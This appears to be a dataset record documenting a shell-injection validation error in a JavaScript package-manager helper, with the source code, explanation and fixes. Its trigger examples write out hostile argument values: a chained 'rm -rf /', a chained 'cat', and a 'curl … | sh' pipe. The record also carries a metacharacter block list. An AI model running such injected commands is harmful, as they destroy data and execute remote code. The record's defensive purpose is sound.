{"record":{"id":"452a91bad16d3a15","repo":"affaan-m/ECC","slug":"arguments-contain-unsafe-characters-args","errorCode":null,"errorMessage":"Arguments contain unsafe characters: ${args}","messagePattern":"Arguments contain unsafe characters: (.+?)","errorType":"exception","errorClass":"Error","httpStatus":null,"severity":"error","filePath":"scripts/lib/package-manager.js","lineNumber":338,"sourceCode":"// Allowed characters in arguments: alphanumeric, whitespace, dashes, dots, slashes,\n// equals, colons, commas, quotes, @. Rejects shell metacharacters like ; | & ` $ ( ) { } < > !\nconst SAFE_ARGS_REGEX = /^[@a-zA-Z0-9\\s_./:=,'\"*+-]+$/;\n\n/**\n * Get the command to execute a package binary\n * @param {string} binary - Binary name (e.g., \"prettier\", \"eslint\")\n * @param {string} args - Arguments to pass\n * @throws {Error} If binary name or args contain unsafe characters\n */\nfunction getExecCommand(binary, args = '', options = {}) {\n  if (!binary || typeof binary !== 'string') {\n    throw new Error('Binary name must be a non-empty string');\n  }\n  if (!SAFE_NAME_REGEX.test(binary)) {\n    throw new Error(`Binary name contains unsafe characters: ${binary}`);\n  }\n  if (args && typeof args === 'string' && !SAFE_ARGS_REGEX.test(args)) {\n    throw new Error(`Arguments contain unsafe characters: ${args}`);\n  }\n\n  const pm = getPackageManager(options);\n  return `${pm.config.execCmd} ${binary}${args ? ' ' + args : ''}`;\n}\n\n/**\n * Interactive prompt for package manager selection\n * Returns a message for Claude to show to user\n *\n * NOTE: Does NOT spawn child processes to check availability.\n * Lists all supported PMs and shows how to configure preference.\n */\nfunction getSelectionPrompt() {\n  let message = '[PackageManager] No package manager preference detected.\\n';\n  message += 'Supported package managers: ' + Object.keys(PACKAGE_MANAGERS).join(', ') + '\\n';\n  message += '\\nTo set your preferred package manager:\\n';\n  message += '  - Global: Set CLAUDE_PACKAGE_MANAGER environment variable\\n';","sourceCodeStart":320,"sourceCodeEnd":356,"githubUrl":"https://github.com/affaan-m/ECC/blob/01e15490f04e29cfefe3896951f43db46994d8ee/scripts/lib/package-manager.js#L320-L356","documentation":"Thrown by getExecCommand() when the `args` string is non-empty and fails SAFE_ARGS_REGEX = /^[@a-zA-Z0-9\\s_./:=,'\"*+-]+$/. This is a broader allowlist than the name regex (it permits whitespace and a set of CLI-friendly punctuation) but still rejects shell metacharacters like ; | & ` $ ( ) { } < > !.","triggerScenarios":"Passing args containing command separators or substitution, e.g. getExecCommand('eslint', '.; rm -rf /'), getExecCommand('node', '-e \"require(\\\"x\\\")\" && cat x'), getExecCommand('curl', 'http://x | sh'), args with backticks, $(), or unbalanced quotes that include rejected chars.","commonSituations":"Forwarding a user-typed command line as args; passing glob patterns with characters the regex disallows (e.g. ? or !); embedding shell syntax to chain commands; args built from unsanitized env vars.","solutions":["Pass flags as a flat string using only allowed punctuation; avoid shell control operators.","For complex argument vectors, build them as an array and join with spaces after validating each token.","Reject args containing ; | & ` $ ( ) { } < > ! before calling.","If a legitimate flag needs a disallowed character, wrap the operation in your own spawned process with an argv array instead of getExecCommand."],"exampleFix":"// before\ngetExecCommand('eslint', '--fix && npm test', opts); // && rejected\n\n// after\nconst lint = getExecCommand('eslint', '--fix .', opts);\nconst test = getRunCommand('test', opts);\n// run lint, then test, as separate spawned processes","handlingStrategy":"validation","validationCode":"const SAFE_ARGS = /^[@a-zA-Z0-9\\\\s_./:=,'\"*+-]+$/;\nif (args && !SAFE_ARGS.test(args)) {\n  throw new Error(`Rejected args: ${args}`);\n}\ngetExecCommand(binary, args, opts);","typeGuard":null,"tryCatchPattern":null,"preventionTips":["Build args from an array of validated tokens rather than string concatenation.","Reject any args containing ; | & ` $ ( ) { } < > ! before calling.","Avoid shell control operators; chain commands via separate spawned processes."],"tags":["security","shell-injection","input-validation","package-manager"],"backgroundTag":null,"analyzedSha":"01e15490f04e29cfefe3896951f43db46994d8ee","analyzedAt":"2026-08-13T00:31:08.655Z","schemaVersion":2},"datasetVersion":"2026-08-13T04:17:16.726Z"}